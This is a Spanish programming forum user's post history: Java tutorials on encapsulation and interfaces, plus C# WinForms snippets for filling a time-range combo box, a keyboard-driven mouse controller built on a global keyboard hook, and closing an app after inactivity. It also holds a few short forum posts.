        Cargo: Software Developer
        Sueldo: 15000
 
*/

Encapsulación: La encapsulación es una técnica para empaquetar la información, envolviendo los atributos y métodos de los objetos en clases, de tal forma que se oculte lo que debe ocultarse y haga visible lo que está pensado para serlo. Tanto los métodos como los atributos pueden ser encapsulados. Para ello se utilizan las palabras: public; protected y private.




    MODIFICADOR        CLASE        PACKAGE        SUBCLASE        TODOS   
    Public        Si        Si        Si        Si   
    Protected        Si        Si        Si        No   
    No especificado        Si        Si        No        No   
    Private        Si        No        No        No   


Ejemplo:


Persona.java
Code: (java) You are not allowed to view links. Register or Login
package encapsulacion;
 
 
public class Persona {
    private int numDoc;
    public String ColorDePiel;
    protected String nombre;
   
    Persona(int doc, String color, String nomb){
            this.numDoc = doc;
            this.ColorDePiel = color;
            this.nombre = nomb;
    }
    //Como numDoc no puede accederse desde otro lado
    //Más que su propia clase, ya que es private
    //Hacemos una función que lo muestre
    void VerDoc()
    {
        System.out.println("Documento: " + this.numDoc);
    }
}


Encapsulacion.java
Code: (java) You are not allowed to view links. Register or Login
package encapsulacion;
 
 
public class Encapsulacion {
 
   
    public static void main(String[] args) {
       Persona Jorge = new Persona(32145672,"Blanco", "Jorge");
       //Podemos acceder a sus atributos públicos
       //y protected (ya que estamos en el mismo package)
       //pero no a los private (Solo pueden accederse
       //Desde su misma clase)
       System.out.println("Color: " + Jorge.ColorDePiel);
       System.out.println("Nombre: " + Jorge.nombre);
       Jorge.VerDoc();
    }
   
}




Concepto de interface:

En java una interface es una clase abstracta pura, es decir una clase donde todos los métodos son abstractos(no se implementa ninguno). Una interface puede también contener datos miembro, pero estos son siempre static y final. Una interface sirve para establecer un “protocolo” entre clases.

Para crear una interface, se utiliza la palabra clave interface en lugar de Class. La interface puede defirnirse public o sin modificador de acceso, y tiene el mismo significado que para las clases. Todos los métodos que declara una interface son siempre public.

Para indicar que una clase implementa todos los métodos de una interface se utiliza la palabra clave implements. El compilador verificara que la clase efectivamente declare e implemente todos los métodos de la interface. Una clase puede implementar más de una interface.

Ejemplo:
Code: (java) You are not allowed to view links. Register or Login
interface InstrumentoMusical{
   
    void tocar();
    void Afinar();
       
}
 
class Flauta implements InstrumentoMusical {
 
    @Override
    public void tocar() {
       //Acá la implementación
    }
 
    @Override
    public void Afinar() {
        //Acá la implementación
    }
   
}
Las interfaces pueden extender otras interfaces y, a diferencia de las clases, una interface puede extender más de una interface:
Code: (java) You are not allowed to view links. Register or Login
Interface SubInterface extends PadreUno, PadreDos
{   
 
}
   
Dado que todos los datos miembros de una interface son por definición static y final resultan una buena herramienta para declarar constantes.

Saludos,



12
C# - VB.NET / Llenar comboBox con Rangos Horarios (C#)
« on: May 23, 2019, 11:35:58 am »
Este es un código que acabo de "improvisar" para llenar un combo box con rangos entre horas.
Algo que se pidió es se le pase una hora inicial, minuto inicial, hora hasta, minuto hasta y el rango o intervalo en minutos entre los valores del medio.
Todo esto debería ser modificable desde el app.config a si pudiese cambiarse sin recompilar el programa.

Acá los valores en el app.config:
Code: (csharp) You are not allowed to view links. Register or Login
  <appSettings>
    <add key="HoraDesde" value="20" />
    <add key="MinutoDesde" value="10" />
   
    <add key="HoraHasta" value="3" />
    <add key="MinutoHasta" value="25" />

    <add key="IntervaloDeMinutos" value="30" />
  </appSettings>


Acá el form1 de prueba el cual tiene el combo box a cargar.
Creo que también se podría haber hecho con DateTime.Compare o algo similar.

Code: (csharp) You are not allowed to view links. Register or Login
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Configuration;

namespace LlenandoCombo
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {

            int HoraDesde = Convert.ToInt32(ConfigurationManager.AppSettings["HoraDesde"].ToString());
            int MinutoDesde = Convert.ToInt32(ConfigurationManager.AppSettings["MinutoDesde"].ToString());

            int HoraHasta = Convert.ToInt32(ConfigurationManager.AppSettings["HoraHasta"].ToString());
            int MinutoHasta = Convert.ToInt32(ConfigurationManager.AppSettings["MinutoHasta"].ToString());

            int IntervaloDeMinutos = Convert.ToInt32(ConfigurationManager.AppSettings["IntervaloDeMinutos"].ToString());
           

            LlenarCombo(HoraDesde, MinutoDesde, HoraHasta, MinutoHasta, IntervaloDeMinutos);
        }

        private void LlenarCombo(int _HoraDesde, int _MinutoDesde, int _HoraHasta, int _MinutoHasta, int MinutesRange)
        {
            try
            {

                DateTime HorasYMinutosDesde = new DateTime();

                //setea primera hora
                TimeSpan ts = new TimeSpan(_HoraDesde, _MinutoDesde, 0);
                HorasYMinutosDesde = HorasYMinutosDesde.Date + ts;
                comboBox1.Items.Add(HorasYMinutosDesde.ToString("HH:mm"));
               
                //Si hora 'desde' es mayor a la 'hasta' o es la misma hora pero mayores minutos
                //Agrega 24 hs para calcular que es en un día distinto
                if (_HoraDesde > _HoraHasta || (_HoraDesde == _HoraHasta && _MinutoDesde > _MinutoHasta))
                {
                    _HoraHasta += 24;

                }

                DateTime HorasYMinutosHasta = new DateTime();
                ts = new TimeSpan(_HoraHasta, _MinutoHasta, 0);
                HorasYMinutosHasta = HorasYMinutosHasta.Date + ts;

                DateTime HorasYMinutosIntervalo = new DateTime();

                HorasYMinutosIntervalo = HorasYMinutosDesde;

                //Acá se podría usar DateTime.Compare pero me parecio más simple así
                while (HorasYMinutosIntervalo.Hour <= HorasYMinutosHasta.Hour ||
                        HorasYMinutosIntervalo.Date <= HorasYMinutosHasta.Date)
                {
                    HorasYMinutosIntervalo = HorasYMinutosIntervalo.AddMinutes(MinutesRange);

                    //Acá chequea que la nueva hora agregar no haya igualado o superado a la máxima
                    if (HorasYMinutosIntervalo.Hour == HorasYMinutosHasta.Hour &&
                        HorasYMinutosIntervalo.Minute >= HorasYMinutosHasta.Minute
                        && HorasYMinutosIntervalo.Date == HorasYMinutosHasta.Date)
                    {

                        break;
                    }
                    comboBox1.Items.Add(HorasYMinutosIntervalo.ToString("HH:mm"));
                }

                //Setea hora hasta   
                comboBox1.Items.Add(HorasYMinutosHasta.ToString("HH:mm"));
                comboBox1.SelectedIndex = 0;
            }
            catch (Exception e)
            {

                MessageBox.Show("Se ha producido un error, contacte al administrador del sistema \n" + e.Message.ToString());
            }
        }
    }
}


Algo interesante que surgió fue que ademas de hacerlo con horas ascendentes como de 12:00 a 16:00 e intervalo de 30 min, se pueda hacer con horarios por ejemplo de 22:00 a 3:00 (AM) (donde va de mayor a menor).
Les dejo una imagen:


Otra con rango de 5 minutos:


Después veré de hacer un código más limpio.

Saludos

13
C# - VB.NET / Mouse Mover
« on: December 04, 2018, 09:55:37 am »
Este es un programita que hice hace muchos años, se los dejo tal cual lo postié en aquellos tiempos:

En mi casa solamente tengo un mouse y muchas veces me traen gabinetes para reparaciones (tengo otro teclado y monitor) pero debo estar moviendo el mouse de un PC al otro y a veces falla el Plug & Play y quedo solo con el teclado, en fín no es que no me agraden los shortcuts pero a veces me veo limitado para hacer algunas cosas o me lleva más tiempo de lo deseado.
Por eso hice este programa para manejar el mouse desde el teclado. Como usarlo:

W-A-S-D: Para las direcciones.
E: RightClick.
Q: LeftClick.
P: Apagar/prender (para poder seguir usando el teclado como tal).
R: Subir sensibilidad.
F: Bajar sensibilidad.

La clase globalKeyboardHook. cs, la tomé de You are not allowed to view links. Register or Login y su autor es StormySpike.
Lo único que le hice a ésta, fué borrarle la captura de Key_Up, ya que no iba a utilizarlo.

Form1.cs:
Code: (csharp) You are not allowed to view links. Register or Login
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using Utilities;
 
namespace key_preview {
        public partial class Form1 : Form {
                globalKeyboardHook gkh = new globalKeyboardHook();
 
        MouseMover MM = new MouseMover();
 
        [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
        public static extern void mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
 
        private const int MOUSEEVENTF_LEFTDOWN = 0x02;
        private const int MOUSEEVENTF_LEFTUP = 0x04;
        private const int MOUSEEVENTF_RIGHTDOWN = 0x08;
        private const int MOUSEEVENTF_RIGHTUP = 0x10;
 
                public Form1() {
                        InitializeComponent();
                }
 
        bool flag = true;
 
                private void Form1_Load(object sender, EventArgs e) {
                       
            gkh.HookedKeys.Add(Keys.W);
            gkh.HookedKeys.Add(Keys.A);
            gkh.HookedKeys.Add(Keys.S);
            gkh.HookedKeys.Add(Keys.D);
            gkh.HookedKeys.Add(Keys.Q);
            gkh.HookedKeys.Add(Keys.E);
            gkh.HookedKeys.Add(Keys.R);
            gkh.HookedKeys.Add(Keys.F);
            gkh.HookedKeys.Add(Keys.D);
            gkh.HookedKeys.Add(Keys.P);
 
 
                        gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
               
 
                }
 
 
 
                void gkh_KeyDown(object sender, KeyEventArgs e) {
 
            if (flag == true)
            {
                switch (e.KeyCode)
                {
                    case Keys.W:
                        MM.arriba();
                        break;
 
                    case Keys.S:
                        MM.abajo();
                        break;
 
                    case Keys.A:
                        MM.izquierda();
                        break;
 
                    case Keys.D:
                        MM.derecha();
                        break;
 
                    case Keys.F:
                        MM.bajarsens();
                        break;
 
                    case Keys.R:
                        MM.subirsens();
                        break;
 
                    case Keys.Q:
                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, Cursor.Position.X, Cursor.Position.Y, 0, 0);
 
                        break;
 
                    case Keys.E:
                        mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, Cursor.Position.X, Cursor.Position.Y, 0, 0);
 
                        break;
                }
            }
 
            if (e.KeyCode == Keys.P)
            {
                if (flag == true)
                {
                    flag = false;
                }
                else
                {
                    flag = true;
                }
 
            }
           
                        e.Handled = true;
                }
 
   
        }
}


globalKeyboardHook. cs:
Code: (csharp) You are not allowed to view links. Register or Login
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
 
namespace Utilities {
        /// <summary>
        /// A class that manages a global low level keyboard hook
        /// </summary>
        class globalKeyboardHook {
                #region Constant, Structure and Delegate Definitions
                /// <summary>
                /// defines the callback type for the hook
                /// </summary>
                public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
 
                public struct keyboardHookStruct {
                        public int vkCode;
                        public int scanCode;
                        public int flags;
                        public int time;
                        public int dwExtraInfo;
                }
 
                const int WH_KEYBOARD_LL = 13;
                const int WM_KEYDOWN = 0x100;         
                const int WM_SYSKEYDOWN = 0x104;
                #endregion
 
                #region Instance Variables
                /// <summary>
                /// The collections of keys to watch for
                /// </summary>
                public List<Keys> HookedKeys = new List<Keys>();
                /// <summary>
                /// Handle to the hook, need this to unhook and call the next hook
                /// </summary>
                IntPtr hhook = IntPtr.Zero;
                #endregion
 
                #region Events
                /// <summary>
                /// Occurs when one of the hooked keys is pressed
                /// </summary>
                public event KeyEventHandler KeyDown;
                /// <summary>
                /// Occurs when one of the hooked keys is released
                /// </summary>
       
                #endregion
 
                #region Constructors and Destructors
                /// <summary>
                /// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
                /// </summary>
                public globalKeyboardHook() {
                        hook();
                }
 
                /// <summary>
                /// Releases unmanaged resources and performs other cleanup operations before the
                /// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
                /// </summary>
                ~globalKeyboardHook() {
                        unhook();
                }
                #endregion
 
                #region Public Methods
                /// <summary>
                /// Installs the global hook
                /// </summary>
                public void hook() {
                        IntPtr hInstance = LoadLibrary("User32");
                        hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
                }
 
                /// <summary>
                /// Uninstalls the global hook
                /// </summary>
                public void unhook() {
                        UnhookWindowsHookEx(hhook);
                }
 
                /// <summary>
                /// The callback for the keyboard hook
                /// </summary>
                /// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
                /// <param name="wParam">The event type</param>
                /// <param name="lParam">The keyhook event information</param>
                /// <returns></returns>
                public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
                        if (code >= 0) {
                                Keys key = (Keys)lParam.vkCode;
                                if (HookedKeys.Contains(key)) {
                                        KeyEventArgs kea = new KeyEventArgs(key);
                                        if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null)) {
                                                KeyDown(this, kea) ;
                                        }
                                        if (kea.Handled)
                                                return 1;
                                }
                        }
                        return CallNextHookEx(hhook, code, wParam, ref lParam);
                }
                #endregion
 
                #region DLL imports
                /// <summary>
                /// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
                /// </summary>
                /// <param name="idHook">The id of the event you want to hook</param>
                /// <param name="callback">The callback.</param>
                /// <param name="hInstance">The handle you want to attach the event to, can be null</param>
                /// <param name="threadId">The thread you want to attach the event to, can be null</param>
                /// <returns>a handle to the desired hook</returns>
                [DllImport("user32.dll")]
                static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
 
                /// <summary>
                /// Unhooks the windows hook.
                /// </summary>
                /// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
                /// <returns>True if successful, false otherwise</returns>
                [DllImport("user32.dll")]
                static extern bool UnhookWindowsHookEx(IntPtr hInstance);
 
                /// <summary>
                /// Calls the next hook.
                /// </summary>
                /// <param name="idHook">The hook id</param>
                /// <param name="nCode">The hook code</param>
                /// <param name="wParam">The wparam.</param>
                /// <param name="lParam">The lparam.</param>
                /// <returns></returns>
                [DllImport("user32.dll")]
                static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
 
                /// <summary>
                /// Loads the library.
                /// </summary>
                /// <param name="lpFileName">Name of the library</param>
                /// <returns>A handle to the library</returns>
                [DllImport("kernel32.dll")]
                static extern IntPtr LoadLibrary(string lpFileName);
                #endregion
        }
}

MouseMover.cs
Code: (csharp) You are not allowed to view links. Register or Login
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Drawing;
 
 
namespace Utilities
{
    class MouseMover
    {
        private int sens;
 
        public MouseMover()
        {
            this.sens = 20;
        }
 
        public void derecha()
        {
            Cursor.Position = new Point(Cursor.Position.X + sens, Cursor.Position.Y);   
        }
 
        public void izquierda()
        {
            Cursor.Position = new Point(Cursor.Position.X - sens, Cursor.Position.Y);
        }
 
        public void arriba()
        {
            Cursor.Position = new Point(Cursor.Position.X, Cursor.Position.Y - sens);
        }
 
        public void abajo()
        {
            Cursor.Position = new Point(Cursor.Position.X, Cursor.Position.Y + sens);
        }
 
        public void subirsens()
        {
           
         if (this.sens < 300)
            {
                this.sens = sens + 40;
            }
        }
 
        public void bajarsens()
        {
 
            if (this.sens == 20)
            {
                this.sens = 10;
            }
            else
            {
                this.sens = 20;
            }
           
        }
 
    }
}
 
}

Form1.Designer
Code: (csharp) You are not allowed to view links. Register or Login
namespace key_preview {
        partial class Form1 {
                /// <summary>
                /// Required designer variable.
                /// </summary>
                private System.ComponentModel.IContainer components = null;
 
                /// <summary>
                /// Clean up any resources being used.
                /// </summary>
                /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
                protected override void Dispose(bool disposing) {
                        if (disposing && (components != null)) {
                                components.Dispose();
                        }
                        base.Dispose(disposing);
                }
 
                #region Windows Form Designer generated code
 
                /// <summary>
                /// Required method for Designer support - do not modify
                /// the contents of this method with the code editor.
                /// </summary>
                private void InitializeComponent() {
            this.SuspendLayout();
            //
            // Form1
            //
            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
            ths.ClientSize = new System.Drawing.Size(292, 266);
            this.KeyPreview = true;
            this.Name = "Form1";
            this.Text = "Form1";
            this.Load += new System.EventHandler(this.Form1_Load);
            this.ResumeLayout(false);
 
                }
 
                #endregion
 
    }
}

Saludos,

14
Ideas y Sugerencias / Sugerencia
« on: November 13, 2018, 09:42:12 am »
Bueno quería hacer una sugerencia.
El caso es que conocemos muchos foros que al pasar el tiempo, los post quedan inutilizables por que las imágenes se caen de los hostings debido al tiempo.

Bueno la idea era que piensen a futuro si incluir su propia función de subir imagenes, así las imágenes quedan guardadas, claro que si hablamos de un vps o algo similar no se cuanta capacidad de disco duro les den y podría sobre extender la capacidad que buscamos.

Pero sería algo bueno ya que todos los post seguirían vivos al pasar el tiempo y no se llenaría de post incompletos a lo largo del tiempo.

Yo supongo que ya lo pensaron y no fue viable, pero bueno.

Saludos,

15
C# - VB.NET / Cerrando programa WinForms tras 15 minutos de inactividad
« on: October 11, 2018, 03:53:38 pm »
Cerrar programa winforms tras 15 minutos de inactividad por parte del usuario.
No parece tan difícil pero veamos como después se complica un poco.
Supongamos que tenemos un formulario padre con 2 botones que llama a los formularios hijos:



Code: (csharp) You are not allowed to view links. Register or Login
   private void button1_Click(object sender, EventArgs e)
        {
            Form form2 = new Form2();
            form2.Show();
        }

        private void button2_Click(object sender, EventArgs e)
        {
            Form form3 = new Form3();
            form3.Show();
        }



Bueno para controlar los 15 minutos utilizaremos un timmer que agregaremos al formulario 1 y setearemos que cada 1 minuto suba 1 punto el contador al llegar a 15 minutos sin actividad cerraríamos el programa.

En el form1 load declaramos que el timmer llamara a la función TimerEventProcessor cada 1 minuto:
Code: (csharp) You are not allowed to view links. Register or Login
            timer1.Interval = 60000;
            timer1.Tick += new EventHandler(TimerEventProcessor);
            timer1.Start();

Y en la función nuestro contador aumentará de 1 en 1 y si llega a 15 cerrará el programa:

Code: (csharp) You are not allowed to view links. Register or Login
private void TimerEventProcessor(object sender, EventArgs e)
        {
            _counter++;
           
            if (_counter == 15)
            {
               
                Environment.Exit(1);
                this.Close();
            }
        }

Cabe destacar que la variable counter es un static int declarado como dato miembro de form1.

Code: (csharp) You are not allowed to view links. Register or Login
static int _counter;
Bueno todo muy lindo, pero ahora faltaría que cada vez que se presione una tecla o se haga click en algun control de cualquiera de los formularios la variable counter vuelva a 0 así vuelven a contarse los 15 minutos desde la última vez que hubo actividad del usuario.

Para eso debemos delegar a los controles la función que vuelve el contador a 0.

Code: (csharp) You are not allowed to view links. Register or Login
public static void mdiPrincipal_Click(object sender, EventArgs e)
{
            _counter = 0;
            MessageBox.Show("Click or keypressed");
}

Como estamos testeando le puse a la función un messagebox que me avisa que hubo un click o key pressed.
Pero todavía nos falta delegarle dicha función, a los eventos click y keypress de todos los controles de los formularios.
Sin lugar a dudas hacerlo 1 por 1 sería una solución horrible.
Para delegar la función a los eventos keypressed y click podemos usar un código como el siguiente:

Code: (csharp) You are not allowed to view links. Register or Login
foreach (Control control in Controls)
{

control.Click += new System.EventHandler(mdiPrincipal_Click);
        control.KeyDown += new KeyEventHandler(mdiPrincipal_Click);
}

Pero el código tiene un problema, cuando el control con el que se encuentra el foreach es un groupBox, este tiene
anidado los controles dentro de el, por lo que se saltiaría todos los controles dentro de groupboxs.
Para solucionarlo podemos decir que si es un group box, recorra los elementos que hay dentro de este último 1 por 1 como lo hace con los de los formularios. El siguiente código funcionaría en caso de que haya como máximo 2 group box (anidados) o cualquier cantidad sin anidar en el formulario:

Code: (csharp) You are not allowed to view links. Register or Login
foreach (Control control in Controls)
            {
                if (control is GroupBox)
                {
                    foreach (Control controlinside in control.Controls)
                    {
                        if (controlinside is GroupBox)
                        {
                            foreach (Control controlinside2 in controlinside.Controls)
                            {
                                controlinside2.Click += new System.EventHandler(mdiPrincipal_Click);
                                controlinside2.KeyDown += new KeyEventHandler(mdiPrincipal_Click);
                            }
                        }
                        else
                        {

                            controlinside.Click += new System.EventHandler(mdiPrincipal.mdiPrincipal_Click);
                            controlinside.KeyDown += new KeyEventHandler(mdiPrincipal.mdiPrincipal_Click);
                        }
                    }
                }
                else
                {

                    control.Click += new System.EventHandler(mdiPrincipal.mdiPrincipal_Click);
                    control.KeyDown += new KeyEventHandler(mdiPrincipal.mdiPrincipal_Click);
                }
            }

Pero que pasaría si hubiera más de 2 group box no podemos hardcodear todo así. Debemos hacerlo de un modo más prolijo.
Para eso creé una función que utiliza recursividad con los group box volviendo a llamarse una y otra vez siempre y cuando encuentre otro group box anidado.
En conclusión creé 2 funciones la principal (AddEvents) que "si es un group box llama a la recursiva" y si no agrega los eventos a cada control, y la recursiva que se encarga de los group box y group box anidados en otros group box.

Code: (csharp) You are not allowed to view links. Register or Login
public static void AddEvents(Form form){
             
            foreach (Control control in form.Controls)
            {
               
                if(recursiva(control)){

                }
                else
                {

                    control.Click += new System.EventHandler(mdiPrincipal_Click);
                    control.KeyDown += new KeyEventHandler(mdiPrincipal_Click);
                }
            }
       }


        public static bool recursiva(Control control){

             if (control is GroupBox)
             { 
                   foreach (Control controlinside in control.Controls)
                   {
                       if (recursiva(controlinside))
                        {


                         }else{

                           controlinside.Click += new System.EventHandler(mdiPrincipal_Click);
                           controlinside.KeyDown += new KeyEventHandler(mdiPrincipal_Click);
                        }
                   }

                  return true;

              }else{

                return false;

          }

        }

Por último, nos queda en todos los form loads, llamar a:
Code: (csharp) You are not allowed to view links. Register or Login
AddEvents(this);
Como podrán ver para testearlo en un formulario anidé muchos groupbox con controles dentro:



Más tarde les dejo el proyecto para descargar que ahora no estoy en casa.

Autor: Solid Water (Matías).

PD: Seguramente podría hacerse de algún modo con hooking o capturar algún evento más, pero bueno todo depende de para que queramos usarlo, podría ser mejor o peor.

Saludos,

16
YA LO ENCONTRÉ GRACIAS ERA [ code= csharp] saludos y disculpen.


quería saber si existe una etiqueta como [ code = C#] para colocar códigos C# en el foro.
Ya que al hacerlo de ese modo me sale código C.

Code: (C#) You are not allowed to view links. Register or Login
código en C#
using

Gracias y saludos,

17
Hola resulta que tengo unas imagenes que tienen el siguiente formato, son sprites por lo que tienen un color de fondo y 7 veces un personaje (son de un video juego). el caso es que el personaje tiene dibujado un contorno en un color horrible y salpicaduras del mismo color del contorno.

Entonces lo que yo quiero hacer es invertir el color del contorno y las salpicaduras por el del fondo asi esos colores se vuelven invisibles, me entienden? (Son exactamente del mismo color las salpicaduras y el contorno solo hay que invertir un color por el del fondo).

Hasta ahí entiendo que es posible, pero mi pregunta es ya que las imagenes son 37, será posible hacer eso con las 37 imagenes al mismo tiempo?

No lo creo pero alguien que tenga instaladas las herramientas lo haría por mi si le envío en un .rar las 37 imagenes?

Muchas gracias no importa si no lo hacen, al menos quiero saber si es posible hacerlo con todas al mismo tiempo.

GRACIAS Y SALUDOS !!

18
Presentaciones y cumpleaños / Hola a TODOS !!
« on: September 14, 2018, 08:05:26 pm »
Hola, soy Solid Water, vine principalmente a comunicarme con seth por mensaje privado ya que el foro donde lo conocí esta caido, pero todavía no se loguió parece.

Pero en este transcurso estuve pensando por que no hacer alguna pregunta, algún aporte, y justo se me vino una duda que la postearé pronto ;)!

Gracias por su atención y saludos a todos !!

Pages: [1]